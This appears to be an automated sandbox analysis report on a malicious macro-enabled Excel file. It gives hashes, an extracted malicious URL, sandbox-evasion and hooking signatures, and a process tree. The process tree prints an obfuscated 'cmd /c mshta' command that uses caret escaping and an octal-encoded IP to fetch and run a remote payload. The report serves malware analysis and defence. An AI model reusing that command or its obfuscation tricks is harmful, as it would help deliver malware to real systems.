Analysis
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max time kernel
133s -
max time network
168s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
16-04-2022 05:42
Static task
static1
Behavioral task
behavioral1
Sample
?i=1fspeuqtd.xlsm
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
?i=1fspeuqtd.xlsm
Resource
win10v2004-20220414-en
General
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Target
?i=1fspeuqtd.xlsm
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Size
110KB
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MD5
a3c1eee45b2ee65f5f0fda091c3b9bfe
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SHA1
1bd37dfba56924ab73ce9f6da17a946715b6a76a
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SHA256
e95a1d9f8651d516e59ddffadc5fd94a499b888077d6cc60ee5cc1b95c1f91e7
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SHA512
ec072cf278b55e4b5e283ebb49aacf924cda7e83a2004c84264a4b1d47b3fb280b6313740fd77df2ac59f007a8f4535f5219a010b1d02a7dd1718f39eca3359e
Malware Config
Extracted
http://46.105.81.76/c.html
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 5088 920 cmd.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
mshta.exeflow pid process 10 3604 mshta.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 920 EXCEL.EXE -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
EXCEL.EXEpid process 920 EXCEL.EXE 920 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 13 IoCs
Processes:
EXCEL.EXEpid process 920 EXCEL.EXE 920 EXCEL.EXE 920 EXCEL.EXE 920 EXCEL.EXE 920 EXCEL.EXE 920 EXCEL.EXE 920 EXCEL.EXE 920 EXCEL.EXE 920 EXCEL.EXE 920 EXCEL.EXE 920 EXCEL.EXE 920 EXCEL.EXE 920 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
EXCEL.EXEcmd.exedescription pid process target process PID 920 wrote to memory of 5088 920 EXCEL.EXE cmd.exe PID 920 wrote to memory of 5088 920 EXCEL.EXE cmd.exe PID 5088 wrote to memory of 3604 5088 cmd.exe mshta.exe PID 5088 wrote to memory of 3604 5088 cmd.exe mshta.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\_i=1fspeuqtd.xlsm"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:920 -
C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0056.0151.0121.0114/c.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:5088 -
C:\Windows\system32\mshta.exemshta http://0056.0151.0121.0114/c.html3⤵
- Blocklisted process makes network request
PID:3604
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